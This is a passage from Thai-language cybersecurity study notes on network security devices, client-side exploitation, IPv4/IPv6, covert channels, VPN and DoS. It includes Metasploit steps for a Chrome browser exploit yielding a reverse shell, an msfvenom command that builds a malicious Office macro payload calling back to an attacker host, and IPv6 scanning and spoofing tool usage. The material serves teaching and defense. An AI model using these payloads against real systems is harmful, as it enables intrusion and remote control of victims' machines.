- Web Application Firewalls (WAF) ป้องกันการโจมตีที่เกิดจากแอปพลิเคชันเว็บ
- Personal Firewalls ใช้สำหรับปกป้องคอมพิวเตอร์ส่วนบุคคล
ฮันนีพอต (Honeypot)
- Honeypot เป็นเครื่องมือที่สร้างสภาพแวดล้อมเสมือนเพื่อดึงดูดแฮกเกอร์และรวบรวมข้อมูลเกี่ยวกับพฤติกรรมการโจมตี โดยแบ่งเป็น:
- High-Interaction Honeypot ใช้เครื่องจริงเพื่อจำลองบริการ
- Low-Interaction Honeypot ใช้เครื่องจำลองเพื่อศึกษาแนวทางการโจมตี
- Honeypot เป็นเครื่องมือที่สร้างสภาพแวดล้อมเสมือนเพื่อดึงดูดแฮกเกอร์และรวบรวมข้อมูลเกี่ยวกับพฤติกรรมการโจมตี โดยแบ่งเป็น:
ระบบจัดการข้อมูลและเหตุการณ์ด้านความปลอดภัย (SIEM)
- SIEM รวบรวมและวิเคราะห์บันทึกเหตุการณ์จากระบบต่าง ๆ เพื่อระบุภัยคุกคามและช่วยในการตอบสนองเหตุการณ์ โดยการวิเคราะห์ข้อมูลเชิงลึกเพื่อค้นหาความผิดปกติและข้อผิดพลาด
สรุป: อุปกรณ์ด้านความปลอดภัยเครือข่ายประกอบด้วย IDS สำหรับการตรวจจับ, IPS สำหรับการป้องกัน, Firewall สำหรับการควบคุมการเข้าถึง, Honeypot สำหรับการรวบรวมข้อมูลการโจมตี และ SIEM สำหรับการวิเคราะห์เหตุการณ์และบันทึกข้อมูล
การโจมตีที่ฝั่ง Client (Client Side Exploitation) และวิธีการป้องกัน
การโจมตีที่ฝั่ง Client Client Side Exploitation เป็นวิธีการโจมตีที่มุ่งเป้าไปที่ฝั่งของผู้ใช้งาน (Client) ซึ่งมักจะเกิดจากความไม่ระมัดระวังของผู้ใช้ การโจมตีนี้อาจเกิดจากการหลอกลวงให้ผู้ใช้เข้าเว็บไซต์ที่เตรียมไว้ล่วงหน้า หรือการส่งไฟล์อันตรายให้ผู้ใช้เปิดใช้งาน ช่องโหว่ที่พบในเว็บเพจมักแฝงสคริปต์ที่โจมตี Browser ของผู้ใช้
ตัวอย่างการใช้ Metasploit โจมตี Google Chrome ในการโจมตีช่องโหว่ cve-2018-17463 ใน Google Chrome (เวอร์ชัน 67-69) ด้วย Metasploit:
- เปิดใช้งาน Metasploit Console:
ruby
$ msfconsole
- เรียกใช้งาน Metasploit Module:
shell
msf> use exploit/multi/browser/chrome_object_create
- ตรวจสอบตัวเลือกต่างๆ:
shell
msf> show options
- กำหนดค่า parameter ต่างๆ:
python
msf> set TARGET <target-id>
- สร้าง Web Server และเริ่มการโจมตี:
shell
msf> exploit
เมื่อ Browser ที่ได้รับผลกระทบเข้าถึงเว็บเซิร์ฟเวอร์ที่สร้างขึ้น จะเกิดการโจมตีผ่าน Exploit และสร้าง reverse shell กลับไปหา Metasploit
การโจมตีโดยใช้ Office Macro Microsoft Office ใช้ Visual Basic for Applications (VBA) ซึ่งสามารถใช้สำหรับการโจมตีได้:
- สร้าง macro script ด้วย Metasploit:
bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -e x86/shikata_ga_nai -f vba-psh > macro.txt
- สร้างเอกสาร Word หรือ Excel และเพิ่ม macro script ลงไป:
- ใช้ Tools -> Macro -> Macros เพื่อนำ script จาก macro.txt ไปใส่
- บันทึกไฟล์เป็น “Macro-Enabled Document” (.docm หรือ .xlsm)
- สร้าง Listener ใน Metasploit:
shell
msfconsole
msf> use exploit/multi/handler
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 192.168.1.2
msf> set lport 3333
msf> exploit
วิธีการป้องกัน
- ไม่เปิดไฟล์หรือลิงก์จากแหล่งที่ไม่รู้จัก: ระวังการเปิดไฟล์หรือคลิกลิงก์จากผู้ที่ไม่รู้จัก
- อัปเดตแอปพลิเคชันให้เป็นเวอร์ชันล่าสุด: เพื่อป้องกันช่องโหว่ที่อาจถูกโจมตี
- ตั้งค่าความปลอดภัยของแอปพลิเคชัน: เช่น การปิดการใช้งาน macro ใน Microsoft Office
- ใช้ Browser ในการเปิดไฟล์ PDF: Firefox และ Google Chrome สามารถแสดงผลไฟล์ PDF ได้ ลดโอกาสการโจมตีไปยัง PDF Reader
เครื่องมือป้องกันฝั่ง Client
- Antivirus: ตรวจจับ malware ด้วย Blacklist และเทคนิคอื่นๆ
- Endpoint Protection Platform (EPP): ใช้ Whitelist สำหรับการป้องกันและตรวจจับพฤติกรรมของ malware
- Endpoint Detection Platform (EDP): เก็บข้อมูลและ log สำหรับการวิเคราะห์พฤติกรรมผิดปกติ และช่วยในการทำ Digital Forensic
การป้องกัน Client Side Exploitation ต้องใช้ความระมัดระวังและเครื่องมือป้องกันที่เหมาะสมเพื่อปกป้องระบบจากการโจมตี.
PART 2 : Basic Network
เรียนรู้และทำความเข้าใจเนื้อหาเกี่ยวกับเครือข่าย
IPv4 และการทำงานของระบบเครือข่าย
อินเทอร์เน็ตเชื่อมต่ออุปกรณ์หลายประเภท เช่น คอมพิวเตอร์, เร้าเตอร์, และสมาร์ตโฟน รวมถึงอุปกรณ์ที่เชื่อมต่อผ่านลิงค์การสื่อสารทั้งแบบมีสายและไร้สาย เช่น ใยแก้วนำแสงและคลื่นวิทยุ การสื่อสารผ่านเครือข่ายเกิดจากการส่งแพ็คเก็ตข้อมูล ซึ่งเป็นหน่วยเล็กๆ ของข้อมูลที่ส่งผ่านเครือข่ายไปยังปลายทางด้วยการใช้โปรโตคอล เช่น HTTP และ SMTP
IP Address (IPv4)
IPv4 เป็นหมายเลขที่ใช้ในการระบุอุปกรณ์ในเครือข่าย โดยหมายเลข IP ประกอบด้วย 32 บิต แบ่งเป็น 4 ช่วงๆ ละ 8 บิต เช่น 192.168.1.1 ซึ่งหมายเลข IP จะถูกจัดแบ่งออกเป็นคลาสต่างๆ:
- Class A: 1.0.0.1 – 127.255.255.254
- Class B: 128.0.0.1 – 191.255.255.254
- Class C: 192.0.1.1 – 223.255.254.254
- Class D: 224.0.0.0 – 239.255.255.255 (Multicast)
- Class E: 240.0.0.0 – 255.255.255.254 (Reserved)
Subnet Mask
Subnet Mask ใช้ในการแบ่งเครือข่ายให้กลายเป็นหลายๆ ซับเน็ต โดยแบ่ง IP Address ออกเป็น Network Prefix และ Host Number เช่น 192.168.100.0/24 โดย Network Prefix จะเป็น 24 บิตแรกและ Host Number จะเป็นบิตที่เหลือ
การทำ Subnetting
Subnetting คือการแบ่ง subnet mask ให้กลายเป็นกลุ่มย่อยมากขึ้น ตัวอย่างเช่น การแบ่ง IP 192.168.100.0/24 ให้กลายเป็น 192.168.100.0/26 และ 192.168.100.64/26
Private IP Address
Private IP ใช้ภายในองค์กรหรือเครือข่ายท้องถิ่น ประกอบด้วย:
- Class A: 10.0.0.0 – 10.255.255.255
- Class B: 172.16.0.0 – 172.31.255.255
- Class C: 192.168.0.0 – 192.168.255.255
สรุปได้ว่า IPv4 คือระบบที่ช่วยให้การสื่อสารในเครือข่ายเป็นไปได้ด้วยการใช้หมายเลข IP และการแบ่ง subnet เพื่อการจัดการที่มีประสิทธิภาพ
OSI Model
OSI Model (Open Systems Interconnection Model) คือรูปแบบการแลกเปลี่ยนข้อมูลระหว่างอุปกรณ์ต่างๆ เช่น คอมพิวเตอร์ มือถือ และอุปกรณ์ IoT โดยแบ่งการทำงานออกเป็น 7 ชั้น (Layers) ดังนี้:
Layer 1: Physical Layer
ชั้นนี้แปลงข้อมูลให้อยู่ในรูปแบบที่สามารถส่งผ่านสื่อกลาง เช่น สาย UTP หรือสายไฟเบอร์ออปติก ข้อมูลในชั้นนี้เรียกว่า “บิต”
Layer 2: Data Link Layer
ชั้นนี้สร้างการเชื่อมต่อระหว่างเครื่องกับอุปกรณ์เน็ตเวิร์ก เช่น สวิตช์ หรือเราเตอร์ ข้อมูลในชั้นนี้เรียกว่า “เฟรม”
Layer 3: Network Layer
ชั้นนี้สร้างการเชื่อมต่อระหว่างอุปกรณ์โดยใช้ IP Address ข้อมูลในชั้นนี้เรียกว่า “แพ็กเก็ต”
Layer 4: Transport Layer
ชั้นนี้ควบคุมการรับส่งข้อมูลระหว่างลูกค้า (Client) และเซิร์ฟเวอร์ (Server) ข้อมูลในชั้นนี้เรียกว่า “เซ็กเมนต์”
Layer 5: Session Layer
ชั้นนี้ซิงค์การใช้งานของเซสชั่นแต่ละการเชื่อมต่อและตัดการเชื่อมต่อเมื่อหมดเวลา
Layer 6: Presentation Layer
ชั้นนี้แปลงข้อมูลจากรูปแบบหนึ่งไปยังอีกรูปแบบหนึ่ง เช่น การแปลงข้อความเป็นรหัส
Layer 7: Application Layer
ชั้นนี้อยู่ใกล้กับผู้ใช้มากที่สุด โดยใช้ซอฟต์แวร์ในการโต้ตอบกับผู้ใช้ เช่น เว็บเบราว์เซอร์หรือแอปพลิเคชันอื่นๆ
สรุป การทำงานของเน็ตเวิร์กแบ่งออกเป็น 7 ชั้น แต่ละชั้นมีบทบาทและหน้าที่เฉพาะ การส่งข้อมูลระหว่างชั้นจะมีการเพิ่มหรือถอดหัวข้อ (Header) และท้ายข้อ (Trailer) ก่อนส่งไปยังชั้นถัดไป เพื่อให้การรับส่งข้อมูลมีประสิทธิภาพและปลอดภัย
Network Topology
Topology หมายถึงการเชื่อมต่อ network โดยมีหลายรูปแบบ แต่ละแบบมีจุดประสงค์และข้อดีข้อเสียที่แตกต่างกัน ดังนี้:
Bus Network
- ใช้สาย coaxial cable เส้นเดียวเชื่อมต่อทุก node
- ใช้ T-connector และ terminator ปิดท้ายสาย
- ข้อเสีย: การชนกันของ traffic บ่อยครั้ง
Star Network
- คล้ายกับ bus network แต่มี hub หรือ switch เป็นตัวเชื่อมกลาง
- ปัญหา: การชนกันของ traffic เหมือน bus network
Ring Network
- เชื่อม node แบบวงกลม โดยมี token ควบคุมการส่งข้อมูล
- ข้อดี: ลดการชนกันของ traffic
Mesh Network
- ทุก node เชื่อมต่อถึงกัน ทำให้ซับซ้อนและใช้สายจำนวนมาก
- ข้อเสีย: เมื่อเพิ่ม node ใหม่ สายเชื่อมต่อเพิ่มขึ้นอย่างทวีคูณ
Hybrid Network
- รวมหลาย topology เข้าด้วยกันเพื่อเพิ่มความยืดหยุ่นและตรงตามความต้องการ
Network Type
ประเภทของ network แบ่งตามสถานที่ใช้งาน ได้แก่:
Local Area Network (LAN)
- เครือข่ายภายในสถานที่เดียวกัน
Virtual Local Area Network (VLAN)
- แบ่งกลุ่ม network ที่ layer 2 ด้วย software
- เชื่อมต่อระหว่าง VLAN ที่ layer 3 โดยใช้ router
Wide Area Network (WAN)
- เชื่อมต่อ node มากกว่า 10 เครื่องในระยะไกล
Metropolitan Area Network (MAN)
- เชื่อมต่อ LAN และ WAN ในพื้นที่กว้าง เช่น มหาวิทยาลัยหรือบริษัทหลายตึก
BYOD (Bring Your Own Device)
การนำอุปกรณ์ส่วนตัวมาใช้ในองค์กร เพิ่มความเสี่ยงต่อความปลอดภัย:
ภัยที่มากับ BYOD
การเข้าถึง Network ขององค์กรง่ายขึ้น
- หากไม่ได้แยกการใช้งานระหว่างเครื่องของบริษัทและเครื่องส่วนตัว
- ควรแยกเครือข่ายของ BYOD และจำกัดสิทธิ์การใช้งาน
ข้อมูลขององค์กรถูกเข้าใช้งานง่ายขึ้น
- เครื่องส่วนตัวมักไม่ถูกควบคุมความปลอดภัยอย่างเข้มงวด
- ควรจำกัดการเข้าถึงเอกสารสำคัญให้เฉพาะเครื่องที่มีการป้องกันอย่างดี
สรุป
การเชื่อมต่อ network ควรเลือก topology ที่เหมาะสม และแยกเครือข่ายของอุปกรณ์ส่วนตัว (BYOD) ออกจากเครือข่ายสำคัญขององค์กร เพื่อเพิ่มความปลอดภัยในการใช้งานและป้องกันการโจมตีที่อาจเกิดขึ้น
IPv6 คืออะไร
IPv6 (Internet Protocol version 6) คือโปรโตคอลสำหรับการสื่อสารผ่านอินเทอร์เน็ต ที่ถูกพัฒนาขึ้นมาเพื่อทดแทน IPv4 เนื่องจากข้อจำกัดของจำนวนที่อยู่ IP ของ IPv4 ที่ไม่เพียงพอสำหรับการใช้งานในอนาคต IPv6 ประกอบด้วยหมายเลขทั้งหมด 128 บิต ทำให้สามารถมีที่อยู่ IP ได้ถึง 3.4×10^38 ที่อยู่ เทียบกับ IPv4 ที่มีที่อยู่ได้เพียง 4.3 พันล้านที่อยู่
เหตุใด IPv6 จึงถูกนำมาใช้
IPv6 ถูกพัฒนาขึ้นเพื่อแก้ไขปัญหาการขาดแคลนที่อยู่ IP ที่ใช้งานในอินเทอร์เน็ต เนื่องจากการเติบโตอย่างรวดเร็วของอินเทอร์เน็ตและอุปกรณ์ที่เชื่อมต่อเครือข่าย ทำให้ที่อยู่ IP ของ IPv4 ไม่เพียงพอ
ความแตกต่างระหว่าง IPv4 และ IPv6
ขนาดของที่อยู่ IP:
- IPv4: 32 บิต (เช่น 192.168.0.1)
- IPv6: 128 บิต (เช่น 2001:0db8:85a3:0000:0000:8a2e:0370:7334)
การแบ่งคลาสของ IP:
- IPv4: แบ่งเป็น Class A, B, C, D, และ E
- IPv6: ไม่มีการแบ่งคลาส ใช้การกำหนดประเภทของที่อยู่ IP แทน
การกำหนดที่อยู่ IP:
- IPv4: ใช้ DHCP เพื่อกำหนดที่อยู่ IP
- IPv6: ใช้ Stateless Address Autoconfiguration (SLAAC) และ DHCPv6
การจัดการแพ็กเกจ:
- IPv4: แพ็กเกจอาจถูกแบ่ง (fragment) ที่ใดก็ได้ในเครือข่าย
- IPv6: แพ็กเกจจะถูกแบ่งที่ต้นทางเท่านั้น
ความสามารถด้านความปลอดภัยของ IPv6
IPv6 มีการปรับปรุงด้านความปลอดภัยหลายประการ:
การปรับปรุงรูปแบบของ Header:
- Header ของ IPv6 มีขนาด 40 ไบต์ และถูกปรับปรุงให้มีประสิทธิภาพมากขึ้น โดยการเอา field ที่ไม่จำเป็นออก
การรวม IP Security (IPSec):
- IPv6 มีการรวม IPSec เข้ามาเป็นส่วนหนึ่งของโปรโตคอล ทำให้มีการเข้ารหัสและการยืนยันตัวตนที่ดีกว่า IPv4
Quality of Service (QoS):
- IPv6 มี field “Flow Label” เพื่อช่วยในการจัดการ QoS ทำให้การส่งข้อมูลที่มีความสำคัญสูงสามารถทำได้มีประสิทธิภาพมากขึ้น
การจัดการ IP แบบอัตโนมัติ:
- IPv6 รองรับการกำหนดที่อยู่ IP แบบ Stateless Address Autoconfiguration (SLAAC) ทำให้การจัดการที่อยู่ IP ภายในเครือข่ายมีประสิทธิภาพมากขึ้น
ช่องโหว่ของ IPv6
ถึงแม้ว่า IPv6 จะมีการปรับปรุงด้านความปลอดภัย แต่ก็ยังมีช่องโหว่ที่อาจเกิดขึ้นได้ เช่น:
ช่องโหว่ใน Extension Header:
- Extension Header ของ IPv6 อาจถูกใช้ในการโจมตีเพื่อเลี่ยงการตรวจสอบแพ็กเกจ
การโจมตีด้วย DoS (Denial of Service):
- การโจมตีแบบ DoS สามารถทำได้โดยการส่งแพ็กเกจที่มีขนาดใหญ่เกินไปหรือแพ็กเกจที่มีการกำหนดค่าไม่ถูกต้อง
การโจมตีด้วย RA (Router Advertisement):
- การโจมตีด้วย RA สามารถทำได้โดยการส่ง RA ปลอมเพื่อเปลี่ยนการกำหนดค่าของเครือข่าย
สรุป
IPv6 เป็นการพัฒนาที่สำคัญเพื่อแก้ไขปัญหาการขาดแคลนที่อยู่ IP และเพิ่มความสามารถด้านความปลอดภัย แต่ยังคงมีช่องโหว่ที่อาจต้องระวังและปรับปรุงต่อไปในอนาคต
การเชื่อมต่อและใช้งาน IPv6 Network
การเชื่อมต่อเครื่องคอมพิวเตอร์กับเครือข่าย IPv6 จำเป็นต้องใช้โปรโตคอลที่เรียกว่า Neighbor Discovery Protocol (NDP) เพื่อการสื่อสารกับโฮสต์อื่นๆ NDP จะใช้ ICMPv6 Message และหลายๆ อัลกอริธึมในการสื่อสาร แทนที่จะอธิบายระดับโครงสร้างแพ็กเก็ตโดยตรง
เมื่อเริ่มเชื่อมต่อเครื่องกับเครือข่าย เครื่องลูกข่าย (Client) มักจะใช้ Stateless Autoconfiguration โดยจะส่งข้อความ Router Solicitation (RS) เพื่อค้นหา Router ที่เป็น Gateway จากนั้น Router จะตอบกลับด้วย Router Advertisement (RA) ระบุที่อยู่ IP Address 64 บิตแรก ส่วนที่เหลือ 64 บิต จะสร้างจาก MAC Address ของเครื่องลูกข่าย ทำให้ไม่จำเป็นต้องมี DHCP Server ยกเว้นในกรณี Stateful Autoconfiguration ที่ยังคงใช้ DHCP
ในการส่งข้อมูลระหว่างเครื่องในเครือข่าย จะใช้ Neighbor Solicitation (NS) ส่งไปยังเครื่องอื่นๆ และเมื่อได้รับการตอบกลับด้วย Neighbor Advertisement (NA) จะได้รับข้อมูล MAC Address ของเครื่องที่ต้องการสื่อสารด้วย
การใช้งาน Network IPv4 ร่วมกับ IPv6
เนื่องจาก IPv4 กำลังจะหมดไปและ IPv6 กำลังเข้ามาแทนที่ การใช้งานร่วมกันจึงเป็นสิ่งสำคัญ มีวิธีการหลัก 3 วิธีในการทำงานร่วมกันระหว่าง IPv4 และ IPv6 ดังนี้:
- Dual Stacks: ใช้งานทั้ง IPv4 และ IPv6 พร้อมกัน ขึ้นอยู่กับแอปพลิเคชันที่ใช้งาน
- Tunneling: เพิ่มหัวข้อ IPv4 ในแพ็กเก็ต IPv6 และส่งต่อไปยัง Router ที่รองรับ IPv4
- Translation: แปลงแพ็กเก็ตจาก IPv6 เป็น IPv4 ที่ระดับโฮสต์หรือที่อุปกรณ์เครือข่าย เช่น Router หรือ Gateway
วิธีการเขียน IPv6
IPv6 มีขนาด 128 บิต แบ่งออกเป็นชุดละ 16 บิต 8 ชุด ใช้ ‘:’ เป็นตัวแบ่งระหว่างชุด เช่น fe80:0001:0002:0003:020c:29ff:feed
นอกจากนี้ยังสามารถย่อชุดของศูนย์ที่ต่อเนื่องกันด้วย ‘::’ เช่น fe80::29ff:feed
การเขียน IPv6 ควรปฏิบัติตามคำแนะนำ RFC5952 เช่น การตัดศูนย์ในชุดและใช้ ‘::’ เพียงครั้งเดียวในที่ที่มีศูนย์มากที่สุด และใช้ตัวอักษรตัวเล็กในการเขียนเลขฐาน 16
ตัวอย่างการเขียน IPv6 พร้อม Port เช่น [fe8::2:3:4:5:6]:80 แต่ไม่สามารถเขียน fe8::2:3:4:5:6:80 ได้เพราะจะกำกวม
การเขียน Loopback IP ของ IPv6 ซึ่งเหมือนกับ 127.0.0.1 ของ IPv4 คือ ::1/128
เครื่องมือสำหรับการโจมตี IPv6
IPv6 มีลักษณะและวิธีการโจมตีที่แตกต่างจาก IPv4 ทำให้เครื่องมือที่ใช้โจมตีต้องได้รับการปรับปรุงเช่นกัน นี่คือเครื่องมือสำคัญที่ใช้ในการโจมตี IPv6:
NMAP
- NMAP เป็นเครื่องมือที่ยังคงสำคัญสำหรับการสแกนเครือข่าย และสามารถใช้งานกับ IPv6 ได้โดยใช้ตัวเลือก
-6
เช่น:- การสแกน OS ของเครื่องเป้าหมาย:bash
nmap -6 -O fe80::20c:29ff:feed:d41d
- การสแกนพอร์ตระหว่าง 0 ถึง 10000 และ OS ของเครื่องเป้าหมาย:bash
nmap -6 -n -p0-10000 fe80::20c:29ff:feed:d41d
- การสแกน OS ของเครื่องเป้าหมาย:
- NMAP เป็นเครื่องมือที่ยังคงสำคัญสำหรับการสแกนเครือข่าย และสามารถใช้งานกับ IPv6 ได้โดยใช้ตัวเลือก
Metasploit
- Metasploit Framework มีโมดูลสำหรับ IPv6 เช่น:
auxiliary/scanner/discovery/ipv6_multicast_pin
: ส่ง ICMPv6 ไปยัง multicast address เพื่อค้นหา hosts ภายในเครือข่ายauxiliary/scanner/discovery/ipv6_neighbor
: ใช้เพื่อค้นหาเครื่องที่ตอบกลับ Neighbor Solicitationsauxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
: ปลอม router advertisement message เพื่อดู IP ของ hosts
- Metasploit Framework มีโมดูลสำหรับ IPv6 เช่น:
THC-IPv6
- THC-IPv6 เป็นชุดเครื่องมือสำหรับ IPv6 ที่มีฟังก์ชันการทำงานหลากหลาย:
- alive6: ตรวจสอบว่าเครื่องยังเปิดอยู่ในเครือข่ายหรือไม่bash
alive6 –M –D eth0
- dnsdict6: ค้นหา IPv6 ของโดเมนต่างๆbash
dnsdict6 -t 16 twitter.com
- alive6: ตรวจสอบว่าเครื่องยังเปิดอยู่ในเครือข่ายหรือไม่
- การติดตั้ง THC-IPv6:bash
wget http://www.thc.org/releases/thc-ipv6-2.1.tar.gz tar xvf thc-ipv6-2.1.tar.gz cd thc-ipv6-2.1 make && make install
- THC-IPv6 เป็นชุดเครื่องมือสำหรับ IPv6 ที่มีฟังก์ชันการทำงานหลากหลาย:
ปัญหาที่เจอใน IPv6 IPv6 ยังมีช่องโหว่และปัญหา เช่น RA spoofing, DHCPv6 Spoofing, และ DoS attacks ดังนี้:
DoS ด้วย RA Packet: RA Packet ที่ถูกปลอมสามารถทำให้เครื่อง Windows และอื่นๆ ในเครือข่ายหยุดทำงาน (hang)
- วิธีป้องกัน:
- ปิดการใช้งาน IPv6
- ปิด Router Discovery
- ใช้ Firewall เพื่อป้องกัน Router Advertisements ปลอม
- วิธีป้องกัน:
การโจมตีแบบ Man-In-The-Middle (MITM): โดยการสร้าง Neighbor Advertisement ปลอมเพื่อแทรก MAC Address ของผู้โจมตีเข้าไปใน cache ของ Client
ตัวอย่างการโจมตี MITM
- ใช้เครื่องมือ parasite6 จากชุด THC-IPv6 เพื่อทำการโจมตี MITM โดยการตอบกลับ Network Solicitation ด้วยข้อมูลที่ปลอมแปลง
Covert Channel: การหลบเลี่ยงการตรวจจับในการติดต่อสื่อสาร
Covert Channel คืออะไร?
Covert Channel หมายถึง การใช้ช่องทางการสื่อสารที่ปกติเพื่อส่งข้อมูลในรูปแบบที่ไม่ปกติ เช่น การซ่อนข้อความในข้อมูลที่มีอยู่แล้วเพื่อหลบเลี่ยงการตรวจจับจากระบบเฝ้าระวัง เช่น Firewall และ Network Filtering โดยที่ไม่เกี่ยวข้องกับการเข้ารหัสข้อมูล (Cryptography) แต่เป็นการแฝงข้อมูลใน Payload ของ Protocol ต่าง ๆ
การใช้ Covert Channel กับ ICMP Protocol
ICMP ทำงานที่ Layer 3 หรือ Network Layer ของ OSI Model โดยใช้ IP แทน Port ซึ่งหมายความว่า ICMP มักถูกอนุญาตให้ผ่าน Firewall เพราะใช้เพื่อการตรวจสอบสถานะของเครื่องนั้น ๆ การทำ Covert Channel ด้วย ICMP มักจะใช้ช่องทางนี้ในการส่งข้อมูลลับได้โดยไม่ถูกตรวจจับ
ตัวอย่างการใช้งาน Covert Channel ด้วย ICMP Protocol
ตรวจสอบ ICMP Packet ด้วย Wireshark:
- ใช้ Wireshark เพื่อตรวจจับ ICMP Packet
- คำสั่ง
ping -c 1 [IP]
ใช้ส่ง ICMP Request - ตรวจสอบข้อมูลใน ICMP Packet รวมถึง Type, Code, Checksum, Identifier, และ Sequence Number
สร้าง ICMP Content ด้วย Hping2:
- Hping2 เป็นเครื่องมือที่ใช้สำหรับสร้างและวิเคราะห์ ICMP Packet
- คำสั่ง
$ hping2 -1 -c 1 -e "Hello World" [IP]
ใช้ส่ง ICMP Packet พร้อมข้อความ
ตัวอย่างโปรแกรมสำหรับ Covert Channel:
- Server: โปรแกรมที่รับข้อความจาก Client ผ่าน ICMP และตอบกลับผลลัพธ์
- Client: โปรแกรมที่ส่งคำสั่งไปยัง Server ผ่าน ICMP
วิธีการตรวจจับและป้องกัน
การตรวจจับ Covert Channel สามารถทำได้โดยใช้ IDS เช่น Snort ซึ่งมี Rules สำหรับการตรวจจับ ICMP Covert Channel แต่การปรับแต่ง Rules อาจจำเป็นเพื่อให้ตรวจจับได้แม่นยำยิ่งขึ้น การป้องกันที่ดีที่สุดคือการตรวจจับ Packet ที่มีลักษณะผิดปกติจากมาตรฐาน เพื่อหลีกเลี่ยงการใช้งาน Covert Channel ในการสื่อสารระหว่าง bot และ C&C Server
สรุป
Covert Channel เป็นเทคนิคที่ใช้หลบเลี่ยงการตรวจจับ โดยใช้ช่องทางการสื่อสารที่ปกติ เช่น ICMP Protocol เพื่อส่งข้อมูลลับ การตรวจจับและป้องกัน Covert Channel ต้องการการตรวจสอบที่ละเอียดและการใช้เครื่องมือที่เหมาะสมเพื่อป้องกันการสื่อสารที่ไม่ต้องการในเครือข่าย
VPN (Virtual Private Network) เป็นเทคโนโลยีที่ช่วยให้คุณสามารถเชื่อมต่อกับเครือข่ายภายในผ่านทางเครือข่ายสาธารณะได้อย่างปลอดภัย โดยการเข้ารหัสข้อมูลที่ส่งผ่านอินเทอร์เน็ต ซึ่งช่วยปกป้องข้อมูลส่วนบุคคลและเพิ่มความเป็นส่วนตัวในการใช้งานออนไลน์
คุณสมบัติหลักของ VPN:
- การเข้ารหัสข้อมูล: VPN ทำการเข้ารหัสข้อมูลที่ส่งผ่านอินเทอร์เน็ต เพื่อป้องกันการติดตามจากบุคคลที่สาม รวมถึงผู้ให้บริการอินเทอร์เน็ต (ISP) ของคุณ
- เปลี่ยน IP Address: VPN สามารถเปลี่ยน IP Address ของคุณให้เป็น IP ของ VPN Server ซึ่งช่วยให้คุณเข้าถึงเนื้อหาที่อาจถูกจำกัดในประเทศของคุณ
- เพิ่มความปลอดภัย: บริการ VPN บางรายมีระบบกรองเว็บไซต์อันตรายเพื่อเพิ่มความปลอดภัยในการใช้งาน
วิธีการทำงานของ VPN: VPN เชื่อมต่อกับผู้ใช้งานผ่านอินเทอร์เน็ต และใช้ VPN เป็น gateway ไปยังแหล่งข้อมูลภายนอก ซึ่งอาจรวมถึงข้อมูลภายในองค์กร
ข้อเสียของ VPN:
- ลดความเร็วการเชื่อมต่อ: การใช้ VPN อาจทำให้ความเร็วการเชื่อมต่อช้าลง เพราะข้อมูลต้องผ่าน VPN Server ก่อนถึงปลายทาง
- ความเสี่ยงจาก VPN Server ที่ไม่น่าเชื่อถือ: VPN Server ที่ไม่น่าเชื่อถืออาจเฝ้ามองการใช้งานของคุณได้
- การเข้าถึงเว็บไซต์บางแห่ง: บางเว็บไซต์อาจบล็อก IP ของ VPN ทำให้ไม่สามารถเข้าถึงเนื้อหาบางอย่างได้
การตั้งค่า OpenVPN บน Ubuntu 16.04: การตั้งค่า OpenVPN ประกอบด้วยหลายขั้นตอน เช่น การติดตั้งแอปพลิเคชันที่จำเป็น การสร้าง Certificate Authority และการตั้งค่า VPN Server และ Client ซึ่งต้องมีการกำหนดค่าต่างๆ และการสร้างไฟล์คอนฟิกเพื่อให้การเชื่อมต่อ VPN ทำงานได้อย่างถูกต้อง
VPN เป็นเครื่องมือที่มีประโยชน์ในการรักษาความปลอดภัยออนไลน์และเพิ่มความเป็นส่วนตัว แต่การเลือกบริการที่เชื่อถือได้และการตั้งค่าอย่างถูกต้องเป็นสิ่งสำคัญเพื่อการใช้งานที่มีประสิทธิภาพและปลอดภัย
การโจมตีแบบ Denial of Service (DoS) มีเป้าหมายหลักในการทำให้ระบบเป้าหมายไม่สามารถให้บริการได้ ซึ่งถือเป็นส่วนสำคัญของ Cybersecurity ต่อไปนี้คือรูปแบบการโจมตีหลักๆ:
Bandwidth Attack: ใช้การสร้าง traffic ขนาดใหญ่เพื่อทำให้ระบบเป้าหมายไม่สามารถรับข้อมูลได้ โดยอาจใช้ botnet หรือเช่าระบบใน Darknet มาช่วยในการโจมตี รวมถึงการใช้วิธี Amplification เช่น:
- Smurf Attack: ส่ง ICMP ไปยัง broadcast address โดยปลอมแปลงแหล่งที่มาจากเครื่องเป้าหมาย ทำให้เครื่องในเครือข่ายส่ง ICMP response กลับไปที่เป้าหมาย
- DNS Amplification: ใช้ DNS requests ขนาดเล็กเพื่อสร้าง DNS responses ขนาดใหญ่ ส่งไปยังเป้าหมายโดยปลอมแปลงที่อยู่ของผู้ร้องขอ
วิธีป้องกัน DNS Amplification คือการจำกัดการใช้ Recursion หรือปิดใช้งาน Recursion หากไม่จำเป็น
Slow Attacks: มุ่งเน้นไปที่การโจมตีแบบ TCP เช่น SYN flood ซึ่งจะสร้างการเชื่อมต่อใหม่เรื่อยๆ โดยทิ้งการเชื่อมต่อเก่าค้างไว้ ทำให้ใช้ memory ของ server อย่างมากมาย เครื่องมือที่ใช้ในการโจมตีลักษณะนี้ ได้แก่ Slowloris, R-U-Dead-Yet, และ Slowhttptest
Legacy Attacks: มุ่งโจมตีโปรโตคอลที่ไม่ได้ถูกออกแบบมาให้มีความปลอดภัย เช่น การโจมตี SYN flood บน TCP services ที่รับ SYN message จำนวนมากจนไม่สามารถรับการเชื่อมต่อจริงๆ ได้
Application Exploitation: โจมตีแอพพลิเคชันที่มีช่องโหว่ด้าน memory หรือ input validation ที่ไม่ดี ซึ่งอาจทำให้เกิด Remote Code Execution หรือ Denial of Service
การโจมตี DoS มีหลายรูปแบบและอาจเกี่ยวข้องกับช่องโหว่ของโปรโตคอล, ขีดจำกัดของระบบ, หรือปัญหาของแอพพลิเคชันที่ใช้
PART 3 : Wireless Network
เครือข่ายไร้สาย
ความรู้พื้นฐานเกี่ยวกับ Wireless Network และ WEP พื้นฐานของ Wireless Network
